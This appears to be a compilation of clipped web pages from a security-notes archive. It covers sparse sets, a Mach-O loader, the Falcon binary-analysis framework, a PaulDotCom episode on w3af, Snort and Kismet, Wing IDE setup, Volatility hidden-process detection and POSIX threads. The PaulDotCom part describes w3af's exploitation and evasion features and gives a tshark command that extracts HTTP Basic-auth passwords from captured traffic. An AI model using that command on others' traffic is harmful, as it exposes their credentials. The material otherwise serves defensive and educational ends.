Essentially, the set is a pair of arrays that point at each other:

<img src='img/Temp2_10598.png' />

Adding a member to the set requires updating both of these arrays:

[code]

    add-member(i):
        dense[n] = i
        sparse[i] = n
        n++
    
    
[/code]

It's not as efficient as flipping a bit in a bit vector, but it's still very
fast and constant time.

To check whether `i` is in the set, you verify that the two arrays point at
each other for that element:

[code]

    is-member(i):
        return sparse[i] < n && dense[sparse[i]] == i
    
    
[/code]

If `i` is not in the set, then  _it doesn't matter what`sparse[i]` is set to_:
either `sparse[i]`will be bigger than `n` or it will point at a value in
`dense` that doesn't point back at it. Either way, we're not fooled. For
example, suppose `sparse` actually looks like:

<img src='img/Temp2_10601.png' />

`Is-member` knows to ignore members of sparse that point past `n` or that
point at cells in`dense` that don't point back, ignoring the grayed out
entries:

<img src='img/Temp2_10600.png' />

Notice what just happened: `sparse` can have  _any arbitrary values_ in the
positions for integers not in the set, those values actually get used during
membership tests, and yet the membership test behaves correctly\! \(This would
drive valgrind nuts.\)

Clearing the set can be done in constant time:

[code]

    clear-set():
        n = 0
    
    
[/code]

Zeroing `n` effectively clears `dense` \(the code only ever accesses entries
in dense with indices less than `n`\), and `sparse` can be uninitialized, so
there's no need to clear out the old values.

This sparse set representation has one more trick up its sleeve: the `dense`
array allows an efficient implementation of set iteration.

[code]

    iterate():
        for(i=0; i<n; i++)
            yield dense[i]
    
    
[/code]

Let's compare the run times of a bit vector implementation against the sparse
set:

_Operation_ |  | _Bit Vector_ |  | _Sparse set_  
---|---|---|---|---  
is-member |  | _O_\(1\) |  | _O_\(1\)  
add-member |  | _O_\(1\) |  | _O_\(1\)  
clear-set |  | _O_\(_m_\) |  | _O_\(1\)  
iterate |  | _O_\(_m_\) |  | _O_\(_n_\)  
The sparse set is as fast or faster than bit vectors for every operation. The
only problem is the space cost: two words replace each bit. Still, there are
times when the speed differences are enough to balance the added memory cost.
Briggs and Torczon point out that liveness sets used during register
allocation inside a compiler are usually small and are cleared very
frequently, making sparse sets the representation of choice.

Another situation where sparse sets are the better choice is work queue-based
graph traversal algorithms. Iteration over sparse sets visits elements in the
order they were inserted \(above, 5, 1, 4\), so that new entries inserted
during the iteration will be visited later in the same iteration. In contrast,
iteration over bit vectors visits elements in integer order \(1, 4, 5\), so
that new elements inserted during traversal might be missed, requiring
repeated iterations.

Returning to the original exercises, it is trivial to change the set into a
vector \(or matrix\) by making `dense` an array of index-value pairs instead
of just indices. Alternately, one might add the value to the `sparse` array or
to a new array. The relative space overhead isn't as bad if you would have
been storing values anyway.

Briggs and Torczon's paper implements additional set operations and examines
performance speedups from using sparse sets inside a real compiler.

Posted by rsc on Friday, March 14, 2008  
Labels: bit twiddling, data structures

# shinh/maloader - GitHub

**Created:**| _4/14/2011 3:23:10 PM_  
---|---  
**Updated:**| _4/14/2011 3:23:10 PM_  
**Author:**| __  
**Tags:**| _reversing Linux Mac-hacking awesome_  
  
README

[code]

    This is a userland Mach-O loader for linux.
    
    * Usage
    
    % make release
    % ./ld-mac mac_binary [options...]
    
    You need OpenCFLite (http://sourceforge.net/projects/opencflite/)
    installed if you want to run some programs such as dsymutil.
    opencflite-476.17.2 is recommended.
    
    * How to use compiler tool chains of Xcode
    
    Get xcode_3.2.6_and_ios_sdk_4.3__final.dmg (or another xcode package).
    
    % git clone git@github.com:shinh/maloader.git
    % ./maloader/unpack_xcode.sh xcode_3.2.6_and_ios_sdk_4.3__final.dmg
    % sudo cp -a xcode_3.2.6_and_ios_sdk_4.3__final/root /usr/i686-apple-darwin10
    % cd maloader
    % make release
    % ./ld-mac /usr/i686-apple-darwin10/usr/bin/gcc mach/hello.c
    % ./ld-mac a.out
    
    * How to run Mach-O binaries using binfmt_misc
    
    % ./binfmt_misc.sh
    % /usr/i686-apple-darwin10/usr/bin/gcc mach/hello.c
    % ./a.out
    
    To remove the entries, run the following commands:
    
    % ./binfmt_misc.sh stop
    
    * Which programs should work
    
    OK
    
    - gcc-4.2 (link with -g requires OpenCFLite)
    - otool
    - nm
    - dyldinfo
    - dwarfdump
    - strip
    - size
    - dsymutil (need OpenCFLite)
    - cpp-4.2
    - clang
    -- clang-70 (xcode 3.2.6): OK, but linking wasn't checked due to lack of sysroot
    -- clang-137 (xcode 4.0): OK
    
    not OK
    
    - llvm-gcc
    - gnumake and bsdmake
    - lex and flex
    - ar
    - m4
    - gdb
    - libtool
    - nasm and ndisasm (i386)
    - mpicc, mpicxx, and mpic++
    
    * Notice
    
    - Running all Mac binaries isn't my goal. Only command line tools such
      as compiler tool chain can be executed by this loader.
    - Currently, this only supports x86-64.
    
    * TODO
    
    - read dwarf for better backtracing
    - make llvm-gcc work
    - 32bit support
    - handle dwarf and C++ exception
    
    * License
    
    Simplified BSD License.
    
    Note that all files in "include" directory and some files in "libmac"
    were copied from Apple's Libc-594.9.1.
    http://www.opensource.apple.com/release/mac-os-x-1064/
    
[/code]

# Falcon 0.1.0 | reversing.io
**Created:**| _9/4/2017 9:40:47 AM_  
---|---  
**Updated:**| _9/4/2017 9:40:47 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

  * Home
  * Glossary & Concepts
  * Resources
  * About

* * *
# Falcon 0.1.0

## 2017/08/06

# Falcon 0.1.0

Today marks the 0.1.0 release of Falcon. This is Falcon’s first release\!

Falcon is a Binary Analysis Platform written in Rust, and released under the
Apache License 2.0. It provides the building blocks for implementing analyses
such as Symbolic Execution and Abstract Interpretation over binary programs.

Documentation can be found here.

# What’s in this release

## An expression-based IL

Falcon uses _yet-another-IL_ , called Falcon IL, for analysis. Falcon IL is a
cross between RREIL and Binary Ninja’s LLIL. The standard hierarchy of
structures in Falcon IL are:

  * **Program** \- Contains many Functions.
  * **Function** \- Contains a ControlFlowGraph.
  * **ControlFlowGraph** \- Contains Blocks \(and Edges, not listed here\).
  * **Block** \- A linear sequence of Instructions.
  * **Instruction** \- Provides location to an Operation.
  * **Operation** \- Implements semantics of a program, modifies state. The six operations are `assign`, `store`, `load`, `brc`, `phi`, and `raise`.
  * **Expression** / **Scalar** / **Array** / **Constant** \- Building blocks of an Expression.

Elements of the Falcon IL can be grouped into two broad categories: Control-
Flow and Semantics. This is a confusing, and perhaps contradictory statement,
but best illustrated by comparing `Function` with `ControlFlowGraph`, or
`Instruction` with `Operation`.

A `Function` provides a location for a `ControlFlowGraph` in a `Program`. When
we are searching for new locations to analyze, we search for a `Function`, not
a `ControlFlowGraph`. However, when we analyze the semantics of a program, we
analyze the `ControlFlowGraph`, not the `Function`.

Likewise, an `Instruction` provides a location, or position, within a linear
sequence in a `Block`. The semantics of an `Instruction` are implemented in an
`Operation`. A Symbolic Execution Engine, for example, can be broken into two
parts: One that handles Control-Flow, and one that applies semantics over a
symbolic state.

I will write more about Falcon IL in the coming weeks, but I have spent time
documenting its internals with Rust’s inline documentation.

## X86 Translation

Falcon uses capstone for instruction decoding, and lifts X86 programs to
Falcon IL. The list of supported instructions can be found here.

Of note:

  * Falcon IL does not yet support values >64 bits, though this is coming, and we therefor are not lifting SSE/AVX instructions.
  * Falcon IL has no means of dealing with floating-point instructions. Floating-point instructions are translated to a Raise instruction. This allows you to translate 32-bit libraries which have floating-point instructions, but you can safely ignore them unless encountered during analysis.

A `ControlFlowGraph` in Falcon has optional conditional edges. Direct
conditional branches, such as `je`, do not emit `Operation::Brc` \(A
conditional-branch instruction\), but instead place conditions over edges
between successor blocks.

## A Symbolic Execution Engine

Falcon comes with the building blocks for symbolic execution. An example which
ties these blocks together can be found in the test for simple-0, which
symbolically executes a contrived x86 Linux application, solves for the
inputs, and verifies the results. This takes about a second, so I have made
end-to-end symbolic execution a built-in test that takes place on every push
to github.

Falcon’s symbolic execution underpinnings are currently using z3 for smt
solving. However, Falcon produces smtlib2-formatted input instead of using the
z3 API directly, and I have attempted to ensure the solver can be swapped out
as needed.

## Loading and linking of Elf Binaries

Falcon’s loader currently supports the Elf file format. Falcon will discover
all functions for which symbols exist, and allows the user to specify
additional function entries as needed. Falcon currently has no means to
resolve indirect branches statically, so jump tables and other indirect
branches will pose a hurdle for Falcon in this release.

Additionally, in order to symbolically execute our simple-0 example, Falcon
can resolve dependencies and relocations between Elfs. This allows us to
provide a ld-linux.so and libc.so from an Ubuntu 16.04 i386 environment, and
leave Falcon to link these together for static symbolic execution.

## The beginnings of platform modelling

Falcon provides a means for modelling platforms. Currently we provide a model
only for LinuxX86, with one system call, to work around contrived examples.
See the `linux_x86` module for an example of what this looks like.

## Unsupported: Data-Flow Analysis and Abstract Interpretation

Falcon provides a fixed-point engine for Data-Flow analysis. Implemented with
this engine are analyses and transformations, including reaching definitions,
UseDef/DefUse chains, dead code elimination, single static assignment, and a
intra-procedural value set analysis.

This code requires refactoring, testing, and is currently unsupported.
However, here is an example of the `main` function from the `simple-0` example
lifted, with dead code elimination and SSA applied:

<img src='img/Temp2_3100.png' width='800' height='669' alt='Main graphed from
simple-0' /> Link to full-size image

# Using Falcon

The see the requirements for using Falcon, please refer to its Dockerfile.
Dependencies are required for bindgen to link against capstone, as well as a
requirement for the z3 solver. The Dockerfile will get you up and running in
Ubuntu Xenial, though I do the majority of my development in OSX.

Falcon is just a library, with no command-line interface. You can run the
tests with `cargo test`, or begin playing around with the API.

  

# Untitled

**Created:**| _10/5/2021 6:42:30 PM_  
---|---  
**Updated:**| _10/5/2021 6:42:30 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Episode144 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:58:55 PM_  
---|---  
**Updated:**| _8/5/2009 12:59:16 PM_  
**Author:**| __  
**Tags:**| _web-app-sec wifi security tools pauldotcom Tutorials_  
  

# Tech Segment: w3af

<Shameless Plugs> Build Your Own Army of Darkness: XSS Frameworks for Zombies
and Profit – SANS Webcast sponsored by Core.
-https://www.sans.org/webcasts/show.php?webcastid=92328 \(3/18 @ 10AM EDT\)
SANS Phoenix – SEC401: Security Essentials SANS Calgary – SEC401: Security
Essentials SANS Secure Europe – SEC542: Web Application Penetration Testing
</Shameless Plugs>

  
What is w3af? w3af: Web Application, Attack, and Audit Framework Author:
Andres Riancho \(http://www.bonsai-sec.com\) Current Release: 1.0rc1
\(2/28/09\) Platform: Windows/Linux Website: http://w3af.sourceforge.net/

w3af is a web application vulnerability scanner and exploitation framework
from Andres Riancho. w3af stands for Web Application, Attack, and Audit
Framework. The application is python based with an optional GTK+ front-end
that currently is supported on both Windows or Linux. Quite a few installation
requirements exist for w3af, which is why SamuraiWTF \(Kevin Johnson and
Justin Searle Inguardians\) serves as one of the recommended delivery methods.

Why w3af?

News Flash: Web has vulnerabilities… ;\) As most of you know there are other
web application vulnerability scanners out there \(e.g. grendel-scan \(-\),
Burp \(-/$\), Acunetix WSS \($$\), Cenzic Hailstorm \($$$\), HP WebInspect
\($$$\), IBM Rational AppScan \($$$\)\). Certainly, w3af being free \(as in
beer\), as well as its being open source \(free as in speech\) are
considerations. Another major feature of w3af is how easily extensible it is.
The plugins are written in python and, because they are open source, can be
readily understood/modified/cannibalized. w3af introduction:

## Architecture

If you start off playing with the GUI, then w3af has a decidedly Nessus-like
feel to it. Like Nessus, w3af searches for vulnerabilities in a target
according to the plugins configured. So what plugins are available…

The 8 major plugin categories are \(descriptions from Andres’ T2 presentation
see references\):

  * discovery – finds new URLs, fingerprints web server/architecture/application
  * audit – attempts to find vulnerabilities; leverages discovery plugin
  * attack – looks at vulnerabilities found in audit and attempts to exploit
  * output – self explanatory…how do you want to see the results \(console, html, text\)
  * bruteforce – used to brute force Basic and Forms based authentication
  * grep – helper that searches every request/response for info \(emails, passwords, languages, IPs, etc.\)
  * evasion – modifies requests to avoid IDS/IPS/WAF
  * mangle – modifies requests/responses based on defined patters/substitutions

Let’s zoom in on a couple of these and discuss some of the key checks within
these plugins

### discovery

successful configuration can make/break a successful scan

[code]

       * Lots of options available (currently over 40 separate plugins)
       * Spidering (webspider, spiderMan)
       * Web searches (Google, MSN, Yahoo, archive.org, PGP PKS, GHDB, 
       * pykto (nikto port to python)
    
    
[/code]

### audit

[code]

       * SQL Injection (blind SQLi and SQLi)
       * File Includes  (local and remote)
       * Command Injection 
       * XSS
       * XSRF/CSRF
       * Others (XPath, HTTP Response Splitting, LDAP Injection, WebDAV tests, SSI, XST)
    
    
[/code]

attack – the attack plugin isn’t available as part of the general scan, rather
you can send attacks after vulnerabilities have been discovered via the audit
plugin.

[code]

       * BeEF
       * sqlmap
       * OS Command Shell
    
    
[/code]

## Advanced Techniques

  * Virtual Daemon – Use Metasploit payloads to exploit a vulnerable web application
  * w3afAgent – After exploitation, creates a reverse tunnel from the compromised server.

I mentioned before that if you first played with w3af via the GUI that you
would likely feel some similarity to Nessus. What other options are there?

## Console

If your first exposure to w3af was from the console you would like feel as if
you had stumbled into a Metasploit console.

## Script

One feature that I very much like is the ability to “script” the running of
w3af scans. The script that we create is really just the exact commands that
we would type into the console to configure/run a scan \(including the ‘back’
commands\). The main boon of this scriptability is that it makes repeat scans
very easy to run. After creating a text file \(here seth.w3af\) with each
console command on a separate line and the final line of start, we can simply
run a scan using the following command line:

./w3af –s seth.w3af

Obviously it would behoove those trying to stay out of jail to only target
w3af at systems they control… What if you don’t control any web applications
\(or pretend that yours don’t have security flaws to discover\)? Then you can
turn to Web Applications Intentionally Ate Up with Suck:

  * WebGoat – OWASP - J2EE
  * Hackme – Foundstone - Emphasis on Web Services
  * Mutillidae – IronGeek – PHP, Apache, MySQL

## References

Get w3af:

  * Subversion - svn co https://w3af.svn.sourceforge.net/svnroot/w3af/trunk w3af
  * SamuraiWTF - http://samurai.intelguardians.com/
  * Packages - http://sourceforge.net/project/showfiles.php?group\_id=170274

w3af 2 Part Tutorial from Josh Summit at Pen Tester Confessions:

http://pentesterconfessions.blogspot.com/2007/10/how-to-use-w3af-to-audit-
web.html \(Part 1\)http://pentesterconfessions.blogspot.com/2007/10/w3af-
tutorial-part-2.html \(Part 2\)

w3af Video Demos:

http://w3af.sourceforge.net/videos/video-demos.php

  

# Tech Segment: Fun with Basic auth and base64 encoding

Recently I've been having some fun with my test Snort box. I've been spending
a lot of time with the emerging threats rules, and found one that kept
triggering with interesting results. That rule was \#2006380 for Outgoing
Basic Auth Base64 HTTP Password detected. I thought, "Who uses basic auth
nowadays?" Boy was I shocked to find out.

As an example, I found a number of applications that I was using used basic
auth:

  * Tweetdeck - Mostly fixed with the the latest version, but still one action...
  * NetNewsWire - based on website, one being delicious...
  * MobileMe - Not sure where or how \(not my MobileMe\), but not good.

From this, I wanted to set up a new installation of snort on my OSX box. The
install was relatively straight forward. I won't bore you with those details,
as I want this to be platform independent; just make sure that you read the
included INSTALL file for any caveats based on OS. Other than that it was as
simple as a:

[code]

    ./configure ; make ; sudo make install
    
    
[/code]

So, to do this setup, I only wanted to use the one rule. This is a fairly
simple task.

  
First I created a new rules file that contained just my one rule. I put it
under /Users/larry and called it base64.rules. Then I edited the default
snort.conf \(in my installation under /opt/local/etc/snort/snort.conf\) to
change the rules configuration. I commented out all of the existing rules in
the file and added one new one:

[code]

    import /Users/larry/base64.rules
    
    
[/code]

Then it was just a matter of starting up snort with a few options:

[code]

    sudo /opt/local/bin/snort -c /opt/local/etc/snort/snort.conf -u larry -g larry -i en1 -l /Users/larry/Desktop -D
    
    
[/code]

What this means is I'm running the snort binary \(as root through sudo\) out
of /opt/local/bin/ and using -c to specify my snort.conf in
/opt/local/etc/snort. Then, after setup, I'm going to drop privileges to the
"larry" user \(-u\) and group \(-g\). I'm also going to listen on interface
en1 \(-i\), which happens to be my wireless interface; you'll need to set this
to reflect your interface in your environment. I'm also redirecting the logged
output to /Users/larry/Desktop in order to make it easy to look at often. Send
this to a place that works for you. This is the reason I wanted to drop privs
to "larry", as now I don't have to be a superuser to open the files. The -D
starts is in daemon mode \(in the background\)

Ok, so we examine the log files and we see that we have some alerts in the
"alerts" file:

[code]

    [**] [1:2006380:10] ET POLICY Outgoing Basic Auth Base64 HTTP Password detected unencrypted [**]
    [Classification: Potential Corporate Privacy Violation] [Priority: 1] 
    03/11-14:35:37.043941 172.16.180.93:60003 -> 76.13.6.191:80
    TCP TTL:64 TOS:0x0 ID:40173 IpLen:20 DgmLen:1304 DF
    ***AP*** Seq: 0x4C06A0E6  Ack: 0x871DC10B  Win: 0xFFFF  TcpLen: 32
    TCP Options (3) => NOP NOP TS: 693619253 2348041489 
    [Xref => http://www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/POLICY/POLICY_Basic_HTTP_Auth][Xref => http://doc.emergingthreats.net/bin/view/Main/2006380]
    
    
[/code]

Cool. But what about the packet? I want to figure out what caused it\! Let's
examine snort.log.<number>

First off is the nice easy GUI method; wireshark\! Open the snort.log.<number>
file, which is actually a pcap capture file. This capture will include all of
the offending packets. In this example, I examined a GET from TweetDeck. In
the packet analysis window of Wireshark, under HTTP, GET, there is an
Authorozation: Basic <base64 encoding> line. If you expand this, it will
automatically decode the base64 for you...

I'm working on a nice command line one for this but ran out of time. There is
always copy and paste to a text file...

perl -MMIME::Base64 -ne 'print decode\_base64\($\_\)' < base64.txt

Instead, listener Paul S. sent in the command line options for tshark that
work like a champ:

[code]

    tshark -R http.authbasic -Tfields -e http.authbasic -r http.pcap > passwords.txt
    
    
[/code]

  

# Using A WRT54GL As A Kismet Drone - Update

I have my issues with the WRT54GL, specifically the broadcom chipset and its
proprietary driver limit what you can do on the wireless side. Also, this
keeps it running kernel version 2.4, and the older whiterussian.

Recenty the open-source driver, BCM47xx, has been getting pretty stable on a
kernel 2.6 platform such as OpenWrt Kamikaze. I compiled a development version
today and ran it on a WRT54GL. The OS installed great, and iwconfig comes pre-
installed and showed the wirless card as up and available:

[code]

    root@OpenWrt:~# iwconfig
    lo        no wireless extensions.
    
    eth0      no wireless extensions.
    
    eth0.0    no wireless extensions.
    
    eth0.1    no wireless extensions.
    
    br-lan    no wireless extensions.
    
    wmaster0  no wireless extensions.
    
    wlan0     IEEE 802.11bg  Mode:Monitor  Frequency:2.427 GHz  Tx-Power=27 dBm   
              Retry min limit:7   RTS thr:off   Fragment thr=2352 B   
              Encryption key:off
              Power Management:off
              Link Quality:0  Signal level:0  Noise level:0
              Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
              Tx excessive retries:0  Invalid misc:0   Missed beacon:0
    
    
[/code]

This is great\! Now we can actually run newer software on the WRT54GL and
enjoy life with Kamikaze. Kamikaze comes with a slew of packages pre-built, a
new web interface written in LUA called LUCI. \(do "opkg install luci-admin-
mini" to check it out, make sure you use the "mini" package or you will run
out of space on the WRT54GL, not that I tried that and had to back out a bunch
of packages\). So, now that we have all this wonderful new stuff, lets install
Kismet. I had to modify the /etc/opkg.conf file to point to the snapshots
directory:

[code]

    src/gz snapshots http://downloads.openwrt.org/snapshots/brcm47xx/packages
    
[/code]

Then I installed kismet-drone \(And only the drone\):

[code]

    # opkg install kismet-drone
    
[/code]

I then edited the /etc/kismet/kismet\_drone.conf file and changed the
following two entries:

[code]

    allowedhosts=192.168.1.0/24
    source=bcm43xx,wlan0,wrt54gl
    
[/code]

Then run kismet\_drone:

[code]

    root@OpenWrt:~# kismet_drone -f /etc/kismet/kismet_drone.conf
    
[/code]

Now you can connect to it using any Kismet client. It solves one problem in
that the driver will now do channel hopping, so you don't need an add-on
script. Also, kismet can put this driver into monitor mode for you, so you
don't need to run any extra commands to do monitor mode. Next, I am going to
attempt to compile Kismet-newcore for this platform and see if I can get it
going. My goal here it to get the most out of a $59 device, and it seems
software is evolving to allow us to do more than ever before\!

  

# Using Wing IDE with Turbogears - Wingware Python IDE

**Created:**| _1/14/2010 11:38:26 AM_  
---|---  
**Updated:**| _1/14/2010 11:39:11 AM_  
**Author:**| __  
**Tags:**| _python web programming_  
  

## Configuring Turbogears 2.x to use Wing

Turbogears 2.0 changed some things about how Turbogears instances are packaged
and launched, so the configuration is different than with Turbogears 1.x.

This section assumes your Turbogears 2.x project is called `wingtest`. If not,
substitute your project name in the following instructions.

  * Go into the Turbogears instance directory `wingtest` and run Wing
  * Add your instance directory to the project and save it as `wingtest.wpr` There is no need to add all of Turbogears to the project; just the instance should suffice.
  * Add also the `paster` to your project. Then open it and and set it as main debug file from the `Debug` menu
  * Open up the Python Shell tool and type `import sys` followed by `sys.executable` to verify whether Wing is using the Python that will be running Turbogears. If not, open `Project Properties` and set the `Python Executable` to the correct one.
  * Next right click on `paster` and select `File Properties`. Under the `Debug` tab, set `Run Arguments` to `serve development.ini` \(do not include the often-used --reload argument, as this will interfere with debugging\). Then also set `Initial Directory` to the full path of `wingtest`.
  * Set a breakpoint on the `return` line of `RootController.index()` in your `root.py` or somewhere else you know will be reached on a page load
  * Start debugging in Wing from the toolbar or debug icon. If Wing issues a warning about `sys.settrace` being called in `DecoratorTools` select`Ignore this Exception Location` in the `Exceptions` tool in Wing and restart debugging. In general, `sys.settrace` will break  _any_ Python debugger but Wing and the code in DecoratorTools both take some steps to attempt to continue to debug in this case.
  * Bring up the `Debug I/O` tool in Wing and wait until the server output shows that it has started
  * Load `http://localhost:8080/` or the page you want to debug in a browser
  * Wing should stop on your breakpoint. Be sure to look aroung a bit with the Stack Data tool and in Wing Pro the Debug Probe \(a command line that works in the runtime state of your current debug stack frame\).

  

## Notes for Turbogears 2.x

Turbogears 2.x uses `virtualenv` to separate what it installs from your main
Python installation so in most cases you can install Turbogears 2.x using an
installation of Python that you also use for other purposes. If, however, a
clean or separate Python installation is desired, you can install Python to a
new location and dedicate that instance to Turbogears. On Linux, this can be
done as follows \(assuming you create `/your/path/to/turbogears` as the place
to install\):

  * In a Python source dist do:
[code]    ./configure --prefix=/your/path/to/turbogearsmakemake install

[/code]

  * Then install `easy_install` by running its setup script with the Python at `/your/path/to/turbogears/bin/python`.
  * Whenever the Turbogears installation instructions call for invoking `easy_install` use the one in `/your/path/to/turbogears/bin`

Similar steps should work on Windows and OS X.

# jessekornblum: Memory Forensics and The Guy in Row Three

**Created:**| _8/12/2010 5:35:14 PM_  
---|---  
**Updated:**| _8/12/2010 5:35:14 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

_**Memory Forensics and The Guy in Row Three**_  
During the memory analysis panel talk at this year's Digital Forensic Research
Workshop, a man in row three asked a question like, "How can I determine if
there's something worthy of further investigation in a memory image?" The
response from the panel was that the best tool to have in the toolbox is a
well-trained analyst who is versed in memory forensics and can write scripts
on the fly.  
  
While I agree with the answer, it doesn't answer the question. As always in
computer forensics, the cases worthy of further investigation are the ones
where something doesn't 'feel right' or is abnormal. Ok, but how do you define
those? Those values are innate to a well-trained analyst.  
  
The guy in row three isn't a well trained analyst. He's an intelligent man who
doesn't know memory forensics and isn't going to be writing memory forensics
scripts. The average user is a user, not a programmer.  
  
Given our average user's skill set, I believe forensics tools should help out
the user by highlighting anything abnormal whenever possible. There will never
be a Find Evidence button, and that's a good thing. But we can tell the user,
"Look here\!"  
  
This idea was embodied in the design principles of the First Responder's
Evidence Disk \(FRED\). To wit, FRED Principle \#4, "\[The\] tool will provide
enough information to determine if an incident has occurred. Give them
something they can use, so they have motivation to run it."  
  
Here's an example with memory forensics and Volatility. There are two plugins,
pslist and psscan. The former walks the operating system's list of processes,
the latter does a brute force scan for process objects. Any process found by
the scan which isn't found by the walk is unusual. Now, they could just be
terminated processes, but they could also be hidden processes.  
  
This morning I took a few hours and wrote a plugin for the upcoming version
1.4 release of the Volatility framework. My plugin, pstotal, will compare the
two lists generated by the existing plugins.  
  
Remember, the upshot of this plugin is NOT the merits of its hidden process
detection. The goal is to demonstrate how, by comparing existing data, we can
highlight items of interest for an examiner.  
  
  
Here's a sample based on the memory image moyix published for his robust
process scanner.  
  
First, the list of processes from the operating system walk:

[code]

    $ python volatility.py pslist -f ds_fuzz_hidden_proc.img 
    Volatile Systems Volatility Framework 1.4_rc1
    Name                 Pid    PPid   Thds   Hnds   Time  
    System                    4      0     51    254 1970-01-01 00:00:00       
    smss.exe                360      4      3     19 2008-11-26 07:38:11       
    csrss.exe               596    360     10    322 2008-11-26 07:38:13       
    winlogon.exe            620    360     16    503 2008-11-26 07:38:14       
    services.exe            672    620     15    245 2008-11-26 07:38:15       
    lsass.exe               684    620     21    347 2008-11-26 07:38:15       
    svchost.exe             844    672     19    198 2008-11-26 07:38:18       
    svchost.exe             932    672     10    229 2008-11-26 07:38:18       
    svchost.exe            1064    672     63   1308 2008-11-26 07:38:20       
    svchost.exe            1164    672      5     77 2008-11-26 07:38:23       
    svchost.exe            1264    672     14    209 2008-11-26 07:38:25       
    explorer.exe           1516   1452     12    362 2008-11-26 07:38:27       
    spoolsv.exe            1648    672     12    112 2008-11-26 07:38:28       
    VMwareTray.exe         1896   1516      1     26 2008-11-26 07:38:31       
    VMwareUser.exe         1904   1516      1     28 2008-11-26 07:38:31       
    VMwareService.e        1756    672      3     45 2008-11-26 07:38:45       
    alg.exe                 512    672      6    105 2008-11-26 07:38:53       
    wuauclt.exe            1372   1064      8    225 2008-11-26 07:39:38       
    wscntfy.exe             560   1064      1     31 2008-11-26 07:44:57
    
[/code]

  
  
Next, the scan for processes:

[code]

    $ python volatility.py psscan -f ds_fuzz_hidden_proc.img 
    Volatile Systems Volatility Framework 1.4_rc1
    PID    PPID   Time created             Time exited              Offset     PDB        Remarks
    ------ ------ ------------------------ ------------------------ ---------- ---------- ----------------
         0      0                                                   0x00552a20 0x00319000 Idle            
       992    660 2008-11-15 23:43:25                               0x0181b748 0x08140260 alg.exe         
      1372   1064 2008-11-26 07:39:38                               0x01843b28 0x08140180 wuauclt.exe     
       560   1064 2008-11-26 07:44:57                               0x0184e3a8 0x081402a0 wscntfy.exe     
       512    672 2008-11-26 07:38:53                               0x018557e0 0x08140260 alg.exe         
       940   1516 2008-11-26 07:43:39      2008-11-26 07:45:49      0x0185dda0 0x081401a0 cmd.exe         
      1756    672 2008-11-26 07:38:45                               0x018a13c0 0x08140220 VMwareService.e 
       808    620 2008-11-26 07:45:22      2008-11-26 07:45:40      0x018af020 0x08140280 taskmgr.exe     
      1904   1516 2008-11-26 07:38:31                               0x018af448 0x08140100 VMwareUser.exe  
      1896   1516 2008-11-26 07:38:31                               0x018af860 0x08140200 VMwareTray.exe  
      1648    672 2008-11-26 07:38:28                               0x018e75e8 0x081401e0 spoolsv.exe     
       592    360 2008-11-15 23:42:56                               0x019456e8 0x08140040 csrss.exe       
       828    660 2008-11-15 23:42:57                               0x01946020 0x081400c0 svchost.exe     
       660    616 2008-11-15 23:42:56                               0x019467e0 0x08140080 services.exe    
      1016    660 2008-11-15 23:42:57                               0x0194f658 0x08140100 svchost.exe     
       924    660 2008-11-15 23:42:57                               0x019533c8 0x081400e0 svchost.exe     
      1516   1452 2008-11-26 07:38:27                               0x019ca478 0x081401c0 explorer.exe    
       684    620 2008-11-26 07:38:15                               0x019dbc30 0x081400a0 lsass.exe       
       360      4 2008-11-26 07:38:11                               0x019e4670 0x08140020 smss.exe        
      1164    672 2008-11-26 07:38:23                               0x019f7da0 0x08140140 svchost.exe     
      1264    672 2008-11-26 07:38:25                               0x01a0e6f0 0x08140160 svchost.exe     
       596    360 2008-11-26 07:38:13                               0x01a1bd78 0x08140040 csrss.exe       
       620    360 2008-11-26 07:38:14                               0x01a2b100 0x08140060 winlogon.exe    
       672    620 2008-11-26 07:38:15                               0x01a3ba78 0x08140080 services.exe    
       932    672 2008-11-26 07:38:18                               0x01a3d360 0x081400e0 svchost.exe     
       844    672 2008-11-26 07:38:18                               0x01a59d70 0x081400c0 svchost.exe     
      1064    672 2008-11-26 07:38:20                               0x01aa2300 0x08140120 svchost.exe     
         4      0                                                   0x01bcc830 0x00319000 System          
    
[/code]

  
  
Do you want to compare those lists by hand to see which entries are in the
second one but not the first? Me either. Here's pstotal:

[code]

    $ python volatility.py pstotal -f ds_fuzz_hidden_proc.img Volatile Systems Volatility Framework 1.4_rc1
    PID    PPID   Time created             Time exited              Offset     PDB        Remarks
    ------ ------ ------------------------ ------------------------ ---------- ---------- ----------------
         0      0                                                   0x00552a20 0x00319000 Idle            
       992    660 2008-11-15 23:43:25                               0x0181b748 0x08140260 alg.exe         
       592    360 2008-11-15 23:42:56                               0x019456e8 0x08140040 csrss.exe       
       828    660 2008-11-15 23:42:57                               0x01946020 0x081400c0 svchost.exe     
       660    616 2008-11-15 23:42:56                               0x019467e0 0x08140080 services.exe    
      1016    660 2008-11-15 23:42:57                               0x0194f658 0x08140100 svchost.exe     
       924    660 2008-11-15 23:42:57                               0x019533c8 0x081400e0 svchost.exe   
    
[/code]

# POSIX Threads Programming

**Created:**| _4/7/2012 11:28:18 AM_  
---|---  
**Updated:**| _4/7/2012 11:28:18 AM_  
**Author:**| __  
**Tags:**| _multi-threading POSIX_  
  

|  

# POSIX Threads Programming  
---  
_Author: Blaise Barney, Lawrence Livermore National Laboratory_|  UCRL-
MI-133316  
## Table of Contents

  * Abstract
  * Pthreads Overview
    1. What is a Thread?
    2. What are Pthreads?
    3. Why Pthreads?
    4. Designing Threaded Programs
  * The Pthreads API
  * Compiling Threaded Programs
  * Thread Management
    1. Creating and Terminating Threads
    2. Passing Arguments to Threads
    3. Joining and Detaching Threads
    4. Stack Management
    5. Miscellaneous Routines
  * Mutex Variables
    1. Mutex Variables Overview
    2. Creating and Destroying Mutexes
    3. Locking and Unlocking Mutexes
  * Condition Variables
    1. Condition Variables Overview
    2. Creating and Destroying Condition Variables
    3. Waiting and Signaling on Condition Variables
  * LLNL Specific Information and Recommendations
  * Topics Not Covered
  * Pthread Library Routines Reference
  * References and More Information
  * Exercise

  
  
Abstract  
---  
  
In shared memory multiprocessor architectures, such as SMPs, threads can be
used to implement parallelism. Historically, hardware vendors have implemented
their own proprietary versions of threads, making portability a concern for
software developers. For UNIX systems, a standardized C language threads
programming interface has been specified by the IEEE POSIX 1003.1c standard.
